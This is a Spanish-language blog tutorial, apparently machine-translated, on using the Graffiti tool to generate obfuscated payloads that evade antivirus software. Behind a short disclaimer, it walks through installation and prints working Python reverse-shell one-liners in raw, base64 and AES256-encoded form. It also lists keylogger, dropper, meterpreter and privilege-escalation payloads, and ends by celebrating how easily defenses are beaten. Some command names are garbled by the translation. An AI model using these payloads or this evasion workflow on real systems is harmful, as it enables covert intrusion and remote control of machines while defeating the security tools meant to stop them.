NOTA IMPORTANTE: El delito informático está severamente castigado por la ley. Esta página no promueve el delito informático, es divulgativa y muestra los mecanismos que utilizan los cibercriminales para poder identificar el ataque si has sido victima de uno de ellos. En el caso de que hayas sido victima de un ataque te recomendamos que busques recursos legales en la sección Cibercrime Law o en la página del Instituto Nacional de Ciberseguridad: https://www.incibe.es/

BlogEvading AV Software

Evite el software antivirus ocultando sus cargas útiles con Graffiti

Es emocionante obtener ese proyectil inverso o ejecutar una carga útil, pero a veces estas cosas no funcionan como se esperaba cuando hay ciertas defensas en juego. Una forma de solucionar ese problema es ofuscar la carga útil, y codificarla utilizando diferentes técnicas generalmente traerá diversos grados de éxito. El graffiti puede hacer que eso suceda.

Graffiti es una herramienta que puede generar cargas útiles ofuscadas utilizando una variedad de técnicas de codificación diferentes. Ofrece una variedad de frases breves y shells en lenguajes como Python, Perl, PHP, Batch, PowerShell y Bash. Las cargas útiles se pueden codificar usando base64, hex y AES256, entre otros. También cuenta con dos modos de funcionamiento: modo de línea de comandos y modo interactivo.

Otras características útiles de Graffiti incluyen la capacidad de crear sus propios archivos de carga útil, el historial de la terminal, la opción de ejecutar comandos nativos del sistema operativo y la finalización de tabulaciones en modo interactivo. Graffiti debería funcionar de inmediato en Linux, Mac y Windows, y se puede instalar en el sistema como un ejecutable tanto en Linux como en Mac. Usaremos Kali Linux para explorar la herramienta a continuación.

Configuración e instalación

Para empezar, clonemos en el Repositorio de GitHub para Graffiti utilizando el git mando:

~# git clone https://github.com/Ekultek/Graffiti

Cloning into 'Graffiti'...
remote: Enumerating objects: 212, done.
remote: Total 212 (delta 0), reused 0 (delta 0), pack-reused 212
Receiving objects: 100% (212/212), 41.27 KiB | 768.00 KiB/s, done.
Resolving deltas: 100% (108/108), done.

A continuación, cambie al nuevo directorio:

~# cd Graffiti/

Y enumere el contenido para verificar que todo esté allí:

~/Graffiti# ls

coders  conf.json  etc  graffiti.py  install.sh  lib  main  README.md

Podemos ejecutar la herramienta con el pitón comando: veamos el menú de ayuda seleccionando el -h cambiar:

~/Graffiti# python graffiti.py -h

usage: graffiti.py [-h] [-c CODEC] [-p PAYLOAD]
                   [--create PAYLOAD SCRIPT-TYPE PAYLOAD-TYPE DESCRIPTION OS]
                   [-l]
                   [-P [PAYLOAD [SCRIPT-TYPE,PAYLOAD-TYPE,DESCRIPTION ...]]]
                   [-lH LISTENING-ADDRESS] [-lP LISTENING-PORT] [-u URL] [-vC]
                   [-H] [-W] [--memory] [-mC COMMAND [COMMAND ...]] [-Vc]

optional arguments:
  -h, --help            show this help message and exit
  -c CODEC, --codec CODEC
                        specify an encoding technique (*default=None)
  -p PAYLOAD, --payload PAYLOAD
                        pass the path to a payload to use (*default=None)
  --create PAYLOAD SCRIPT-TYPE PAYLOAD-TYPE DESCRIPTION OS
                        create a payload file and store it inside of
                        ./etc/payloads (*default=None)
  -l, --list            list all available payloads by path (*default=False)
  -P [PAYLOAD [SCRIPT-TYPE,PAYLOAD-TYPE,DESCRIPTION ...]], --personal-payload [PAYLOAD [SCRIPT-TYPE,PAYLOAD-TYPE,DESCRIPTION ...]]
                        pass your own personal payload to use for the encoding
                        (*default=None)
  -lH LISTENING-ADDRESS, --lhost LISTENING-ADDRESS
                        pass a listening address to use for the payload (if
                        needed) (*default=None)
  -lP LISTENING-PORT, --lport LISTENING-PORT
                        pass a listening port to use for the payload (if
                        needed) (*default=None)
  -u URL, --url URL     pass a URL if needed by your payload (*default=None)
  -vC, --view-cached    view the cached data already present inside of the
                        database
  -H, --no-history      do not store the command history (*default=True)
  -W, --wipe            wipe the database and the history (*default=False)
  --memory              initialize the database into memory instead of a .db
                        file (*default=False)
  -mC COMMAND [COMMAND ...], --more-commands COMMAND [COMMAND ...]
                        pass more external commands, this will allow them to
                        be accessed inside of the terminal commands must be in
                        your PATH (*default=None)
  -Vc, --view-codecs    view the current available encoding codecs and their
                        compatible languages

Aquí, obtenemos su información de uso y argumentos opcionales que están disponibles.

Una forma más sencilla de utilizar Graffiti es instalarlo en el sistema. De esa manera, no necesitamos estar en el directorio para ejecutarlo, se puede ejecutar desde cualquier lugar. Simplemente inicie el script de instalación para comenzar:

~/Graffiti# ./install.sh

starting file copying..
creating executable
editing file stats
installed, you need to run: source ~/.bash_profile

Nos dice que tenemos que ejecutar el fuente comando en nuestro perfil de bash para completar la instalación; el comando de origen básicamente carga cualquier función en el shell actual:

~/Graffiti# source ~/.bash_profile

Ahora deberíamos poder ejecutar la herramienta desde cualquier lugar escribiendo pintada en la terminal:

~# graffiti -h

usage: graffiti.py [-h] [-c CODEC] [-p PAYLOAD]
                   [--create PAYLOAD SCRIPT-TYPE PAYLOAD-TYPE DESCRIPTION OS]
                   [-l]
                   [-P [PAYLOAD [SCRIPT-TYPE,PAYLOAD-TYPE,DESCRIPTION ...]]]
                   [-lH LISTENING-ADDRESS] [-lP LISTENING-PORT] [-u URL] [-vC]
                   [-H] [-W] [--memory] [-mC COMMAND [COMMAND ...]] [-Vc]

optional arguments:
  -h, --help            show this help message and exit
  -c CODEC, --codec CODEC
                        specify an encoding technique (*default=None)
  -p PAYLOAD, --payload PAYLOAD
                        pass the path to a payload to use (*default=None)
  --create PAYLOAD SCRIPT-TYPE PAYLOAD-TYPE DESCRIPTION OS
                        create a payload file and store it inside of
                        ./etc/payloads (*default=None)
  -l, --list            list all available payloads by path (*default=False)
  -P [PAYLOAD [SCRIPT-TYPE,PAYLOAD-TYPE,DESCRIPTION ...]], --personal-payload [PAYLOAD [SCRIPT-TYPE,PAYLOAD-TYPE,DESCRIPTION ...]]
                        pass your own personal payload to use for the encoding
                        (*default=None)
  -lH LISTENING-ADDRESS, --lhost LISTENING-ADDRESS
                        pass a listening address to use for the payload (if
                        needed) (*default=None)
  -lP LISTENING-PORT, --lport LISTENING-PORT
                        pass a listening port to use for the payload (if
                        needed) (*default=None)
  -u URL, --url URL     pass a URL if needed by your payload (*default=None)
  -vC, --view-cached    view the cached data already present inside of the
                        database
  -H, --no-history      do not store the command history (*default=True)
  -W, --wipe            wipe the database and the history (*default=False)
  --memory              initialize the database into memory instead of a .db
                        file (*default=False)
  -mC COMMAND [COMMAND ...], --more-commands COMMAND [COMMAND ...]
                        pass more external commands, this will allow them to
                        be accessed inside of the terminal commands must be in
                        your PATH (*default=None)
  -Vc, --view-codecs    view the current available encoding codecs and their
                        compatible languages

Opción 1: usar Graffiti en el modo de línea de comandos

La primera forma de ejecutar Graffiti es en el modo de línea de comandos normal. Todo lo que tenemos que hacer es pasar los argumentos después del comando, como lo haría con cualquier otra herramienta o script. Por ejemplo, podemos enumerar todas las cargas útiles disponibles con el -l cambiar:

~# graffiti -l

Windows payloads:

/windows/batch/nc_bind.json
/windows/batch/certutil_exe.json
/windows/batch/nc_reverse.json
/windows/batch/sync_appv.json
/windows/python/socket_reverse.json
/windows/powershell/keylogger.json
/windows/powershell/escalate_service.json
/windows/powershell/meterpreter_shell.json
/windows/powershell/cleartext_wifi.json
/windows/perl/socket_reverse.json
/windows/ruby/socket_reverse.json

Linux payloads:

/linux/python/socket_reverse.json
/linux/php/socket_reverse.json
/linux/perl/socket_reverse.json
/linux/ruby/socket_reverse.json
/linux/bash/subdomain_enum_crt.json
/linux/bash/netcat_reverse.json
/linux/bash/download_linux_exploit_suggester.json
/linux/bash/pipe_reverse.json
/linux/bash/subdomain_enum_archive.json
/linux/bash/suid.json
/linux/bash/download_checkers.json
/linux/bash/netcat_binder.json
/linux/bash/download_nmap_scripts.json
/linux/bash/download_linux_priv_checker.json
/linux/bash/bash_reverse.json

Podemos ver que hay opciones para los shells de Netcat, los shells de Python y muchos otros, separados entre Windows y Linux.

Podemos usar el -Vc opción para ver los codificadores disponibles y los idiomas correspondientes para los que están disponibles:

~# graffiti -Vc

CODEC:      ACCEPTABLE:
aes256      python
atbash      python
xor     php,python
base64      powershell,php,python,perl,ruby,bash,batch
hex     powershell,php,python,perl,ruby,bash,batch
raw     powershell,php,python,perl,ruby,bash,batch
rot13       python,ruby,php

El -pag switch es el pan y la mantequilla de Graffiti: utilícelo para especificar una carga útil, seguido de -C para especificar la técnica de codificación, y finalmente -lH y -lP para configurar la dirección de escucha y el puerto, respectivamente. Aquí hay un shell inverso de Python en formato sin formato, lo que significa que no hay codificación:

~# graffiti -p /linux/python/socket_reverse.json -c raw -lH 10.10.0.1 -lP 4321

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.0.1",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Eso escupirá el comando para el shell inverso apropiado con toda la información completa. Todo lo que tenemos que hacer en este punto es copiar y pegar.

Probemos con otro ejemplo. Aquí está el mismo shell inverso de Python codificado en base64:

~# graffiti -p /linux/python/socket_reverse.json -c base64 -lH 10.10.0.1 -lP 4321

python -c 'exec("aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjAuMSIsNDMyMSkpO29zLmR1cDIocy5maWxlbm8oKSwwKTsgb3MuZHVwMihzLmZpbGVubygpLDEpOyBvcy5kdXAyKHMuZmlsZW5vKCksMik7cD1zdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwiLWkiXSk7".decode("base64"))'

Y nuevamente, esta vez usando el cifrado AES256:

~# graffiti -p /linux/python/socket_reverse.json -c aes256 -lH 10.10.0.1 -lP 4321

# be sure that the target has PyCrypto on their system!
python -c 'import base64;from Crypto import Random;from Crypto.Cipher import AES;from Crypto.Util import Counter;ct=base64.b64decode("7mC355qybpwkZRVMOGKbHBNqNKFwVbBcpgBZ0cwQlNT6sAF3YwLN9DmIFph4GCRHFVEghR8xTeWIulP3MOpPAI869iFn5FzX3Y32m9tGqiVzvL0tO0NTU2gQXTAauni+8p0+Au/fxjgX8AwpuJOl7lIPFxVHTk/zRLu0mg257OknhKgJxuQgUM5SrXG+XJcg1BRohs0AHJSGjLQs0oqfBxV4WPLLMVQHP76DJHTndgakXf0cHhbkJa+J6umbjMaG+6ZbJSz/7SQo+9XWzTGNU5w80/KP");dk=base64.b64decode("gGhVa2B/DPmOp1tfIL2AhdyVyTapvpgtkCLFZ4WL0OU=");iv=base64.b64decode("VSUepHglfitT7q08vuekMA==");ivi=int(iv.encode("hex"),16);co=Counter.new(AES.block_size*8,initial_value=ivi);a=AES.new(dk,AES.MODE_CBC,counter=co);r=a.decrypt(ct);exec(str(r))'

En lugar de volver atrás y ejecutar estos comandos nuevamente, Graffiti mantiene un caché de cargas útiles para facilitar el acceso: use el -vC opción para verlos:

~# graffiti -vC

total of 3 payloads present

Language: python
Payload Type: reverse
Payload: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.0.1",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Language: python
Payload Type: reverse
Payload: python -c 'exec("aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjAuMSIsNDMyMSkpO29zLmR1cDIocy5maWxlbm8oKSwwKTsgb3MuZHVwMihzLmZpbGVubygpLDEpOyBvcy5kdXAyKHMuZmlsZW5vKCksMik7cD1zdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwiLWkiXSk7".decode("base64"))'

Language: python
Payload Type: reverse
Payload: python -c 'import base64;from Crypto import Random;from Crypto.Cipher import AES;from Crypto.Util import Counter;ct=base64.b64decode("7mC355qybpwkZRVMOGKbHBNqNKFwVbBcpgBZ0cwQlNT6sAF3YwLN9DmIFph4GCRHFVEghR8xTeWIulP3MOpPAI869iFn5FzX3Y32m9tGqiVzvL0tO0NTU2gQXTAauni+8p0+Au/fxjgX8AwpuJOl7lIPFxVHTk/zRLu0mg257OknhKgJxuQgUM5SrXG+XJcg1BRohs0AHJSGjLQs0oqfBxV4WPLLMVQHP76DJHTndgakXf0cHhbkJa+J6umbjMaG+6ZbJSz/7SQo+9XWzTGNU5w80/KP");dk=base64.b64decode("gGhVa2B/DPmOp1tfIL2AhdyVyTapvpgtkCLFZ4WL0OU=");iv=base64.b64decode("VSUepHglfitT7q08vuekMA==");ivi=int(iv.encode("hex"),16);co=Counter.new(AES.block_size*8,initial_value=ivi);a=AES.new(dk,AES.MODE_CBC,counter=co);r=a.decrypt(ct);exec(str(r))'

También podemos borrar el historial con el -W cambiar:

~# graffiti -W

wiping the database and the history files
database and history files wiped

Opción 2: usar Graffiti en modo interactivo

La otra forma de ejecutar Graffiti es en su modo interactivo, que viene con un entorno de terminal integrado. Simplemente ejecute la herramienta sin ningún argumento para ingresar:

~# graffiti

  ________              _____  _____.__  __  .__
 /  _____/___________ _/ ____/ ______|/  |_|__|
/     ___  __ __  \   __\   __|     __  |
    _    | // __ |  |   |  |  |  ||  | |  |
 ______  /__|  (____  /__|   |__|  |__||__| |__|
        /           /
 v(0.0.10)

no arguments have been passed, dropping into terminal type `help/?` to get help, all commands that sit inside of `/bin` are available in the terminal
Traceback (most recent call last):
  File "graffiti.py", line 5, in <module>
    main()
  File "/root/.graffiti/.install/etc/main/main.py", line 10, in main
    Parser().single_run_args(parsed_config, cursor)
  File "/root/.graffiti/.install/etc/lib/arguments.py", line 182, in single_run_args
    ).do_start(conf["graffiti"]["saveCommandHistory"])
  File "/root/.graffiti/.install/etc/lib/terminal_display.py", line 290, in do_start
    self.reflect_memory()
  File "/root/.graffiti/.install/etc/lib/terminal_display.py", line 77, in reflect_memory
    with open(self.full_history_file_path) as history:
IOError: [Errno 2] No such file or directory: '/root/.graffiti/.install/etc/.history/2019-11-14/graffiti.history'

Si recibe el error anterior, todo lo que tiene que hacer es crear un nuevo archivo de historial en el directorio apropiado; use el tocar comando así:

~# touch .graffiti/.install/etc/.history/2019-11-14/graffiti.history

Ahora, cuando lo ejecutamos, ingresamos con éxito al modo interactivo, que vendrá con su propio mensaje:

~# graffiti

  ________              _____  _____.__  __  .__
 /  _____/___________ _/ ____/ ______|/  |_|__|
/     ___  __ __  \   __\   __|     __  |
    _    | // __ |  |   |  |  |  ||  | |  |
 ______  /__|  (____  /__|   |__|  |__||__| |__|
        /           /
 v(0.0.10)

no arguments have been passed, dropping into terminal type `help/?` to get help, all commands that sit inside of `/bin` are available in the terminal
root@graffiti:~/graffiti#

Para ver el menú de ayuda, escriba ayuda o ? en el mensaje:

root@graffiti:~/graffiti# ?

 Command                                  Description
---------                                --------------
 help/?                                  Show this help
 external                                List available external commands
 cached/stored                           Display all payloads that are already in the database
 list/show                               List all available payloads
 search <phrase>                         Search for a specific payload
 use <payload> <coder>                   Use this payload and encode it using a specified coder
 info                                    Get information on all the payloads
 check                                   Check for updates
 history/mem[ory]                        Display command history
 exit/quit                               Exit the terminal and running session
 encode <script-type> <coder>            Encode a provided payload
 check                                   Check for updates

Podemos comprobar si tenemos la última versión de la herramienta ejecutando el controlar mando:

root@graffiti:~/graffiti# check

From https://github.com/Ekultek/Graffiti
 * branch            master     -> FETCH_HEAD
Already up to date.

También es útil saber qué comandos externos tenemos disponibles, por lo que no necesitamos salir del modo interactivo o cambiar a una nueva pestaña para ejecutar los comandos habituales. Utilizar el externo comando para ver una lista de estos:

root@graffiti:~/graffiti# external

busybox nc bzdiff zsh5 uname kill networkctl touch systemd-notify hashcat udevadm systemd bzfgrep tempfile ls bzcat goscan vdir df rzsh dd cpio ulockmgr_server systemctl rbash grep bzexe ntfssecaudit dirsearch findmnt zcmp umount nisdomainname sleep ntfsinfo kbd_mode dir systemd-inhibit sync ifconfig zforce mknod sed systemd-hwdb mountpoint znew mktemp kmod rsync fgconsole nano loginctl chvt systemd-ask-password ntfsrecover lowntfs-3g run-parts rm systemd-tmpfiles dnsdomainname gzexe uncompress ping4 keyctl ping6 netstat journalctl ntfsfix bzmore ntfscat bash zmore ntfsmove pidof bzgrep zdiff systemd-escape ln systemd-sysusers ypdomainname zegrep login ntfstruncate ntfscluster lsblk nmap chmod echo ntfs-3g wdctl cp sh.distrib usleep ps fusermount mkdir bzcmp mt-gnu fuser rmdir vi zless more lsmod openvt setupcon telnet ntfs-3g.probe bunzip2 pwd ntfswipe true systemd-tty-ask-password-agent zcat stty setfacl mount cat mt plymouth mv bzip2recover bzegrep zsh false tar domainname ip dash getfacl hciconfig setfont zgrep systemd-machine-id-setup bzip2 egrep chacl nc.traditional hostname ping zfgrep chgrp python find fgrep which ntfsfallocate ntfscmp unicode_start ftp bzless readlink date netcat gunzip loadkeys dmesg dumpkeys ss sendprobe clear su ntfsusermap chown sh rnano gzip ntfsls ssh

Por ejemplo, podemos ejecutar un comando como uname -a directamente desde el indicador interactivo de Graffiti:

root@graffiti:~/graffiti# uname -a

Linux drd 5.2.0-kali3-amd64 #1 SMP Debian 5.2.17-1kali2 (2019-10-17) x86_64 GNU/Linux

El lista El comando mostrará todas las cargas útiles disponibles, al igual que el -l cambiar de antes:

root@graffiti:~/graffiti# list

/windows/batch/nc_bind.json
/windows/batch/certutil_exe.json
/windows/batch/nc_reverse.json
/windows/batch/sync_appv.json
/windows/python/socket_reverse.json
/windows/powershell/keylogger.json
/windows/powershell/escalate_service.json
/windows/powershell/meterpreter_shell.json
/windows/powershell/cleartext_wifi.json
/windows/perl/socket_reverse.json
/windows/ruby/socket_reverse.json
/linux/python/socket_reverse.json
/linux/php/socket_reverse.json
/linux/perl/socket_reverse.json
/linux/ruby/socket_reverse.json
/linux/bash/subdomain_enum_crt.json
/linux/bash/netcat_reverse.json
/linux/bash/download_linux_exploit_suggester.json
/linux/bash/pipe_reverse.json
/linux/bash/subdomain_enum_archive.json
/linux/bash/suid.json
/linux/bash/download_checkers.json
/linux/bash/netcat_binder.json
/linux/bash/download_nmap_scripts.json
/linux/bash/download_linux_priv_checker.json
/linux/bash/bash_reverse.json

También podemos obtener información sobre las cargas útiles con el info mando. Desafortunadamente, no nos permite seleccionar una carga útil, sino que las enumera todas a la vez:

root@graffiti:~/graffiti# info

Script type: batch
Execution type: bind
Information: uses Windows netcat to start a bindshell
Full path: /root/.graffiti/.install/etc/etc/payloads/windows/batch/nc_bind.json

Script type: batch
Execution type: dropper
Information: uses certutil to download a file without causing suspicion
Full path: /root/.graffiti/.install/etc/etc/payloads/windows/batch/certutil_exe.json

Script type: batch
Execution type: reverse
Information: uses netcat to start a reverse shell
Full path: /root/.graffiti/.install/etc/etc/payloads/windows/batch/nc_reverse.json

Script type: batch
Execution type: dropper
Information: uses Microsoft SyncAppvPublishingServer to download and execute a powershell file
Full path: /root/.graffiti/.install/etc/etc/payloads/windows/batch/sync_appv.json

Script type: python
Execution type: reverse
Information: uses python socket library to connect back and execute commands with subprocess
Full path: /root/.graffiti/.install/etc/etc/payloads/windows/python/socket_reverse.json

Script type: powershell
Execution type: other
Information: creates a keylogger that stores in C:UsersPublickey.log
Full path: /root/.graffiti/.install/etc/etc/payloads/windows/powershell/keylogger.json

...

Para buscar una carga útil específica, use el búsqueda mando. Por ejemplo, para buscar cargas útiles de Python:

root@graffiti:~/graffiti# search python

found 2 relevant options:
------------------------------
/windows/python/socket_reverse.json
/linux/python/socket_reverse.json

Podemos crear una carga útil con el usar comando, seguido de la carga útil deseada y el tipo de codificación a utilizar:

root@graffiti:~/graffiti# use /linux/python/socket_reverse.json raw

enter the LHOST: 10.10.0.1
enter the LPORT: 4321
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.0.1",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Nos solicitará la dirección IP y el puerto de escucha, y mostrará el comando para el shell inverso cuando esté listo.

Similar al modo de línea de comandos de Graffiti, podemos ver un historial de cargas útiles en caché usando el en caché mando:

root@graffiti:~/graffiti# cached

Type: Reverse
Execution: Python
Payload: u'python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.0.1",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);''

También podemos mostrar el historial de comandos con el historia opción:

root@graffiti:~/graffiti# history

   1   ?
   2   exit
   3   ?
   4   check
   5   external
   6   id
   7   uname
   8   uname -a
   9   ?
  10   list
  11   info
  12   list
  13   info /linux/python/socket_reverse.json
  14   ?
  15   info
  16   ?
  17   search python reverse
  18   search python
  19   use /linux/python/socket_reverse.json raw
  20   graffiti -h
  21   use /linux/python/socket_reverse.json xor
  22   ?
  23   cached
  24   history

Finalmente, para salir del modo interactivo, simplemente escriba Salida en el mensaje:

root@graffiti:~/graffiti# exit

saving current history to a file
exiting terminal

Terminando

En este tutorial, aprendimos cómo usar una herramienta llamada Graffiti para generar cargas útiles ofuscadas para su uso en pruebas de penetración y piratería. Primero, configuramos la herramienta y la instalamos en nuestro sistema para facilitar su uso. A continuación, exploramos el modo de línea de comandos y algunas de las opciones que tiene disponibles, incluida la lista de cargas útiles, el historial de visualización y la creación de cargas útiles codificadas en una variedad de técnicas. Luego echamos un vistazo al modo interactivo y cómo se puede usar fácilmente para generar cargas útiles, todo desde un indicador interactivo.

Superar las defensas con cargas útiles ofuscadas nunca ha sido tan fácil con Graffiti.

Imagen de portada de Pixabay / Pexels

Publicaciones relacionadas

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Mira también
Cerrar
Botón volver arriba
Cerrar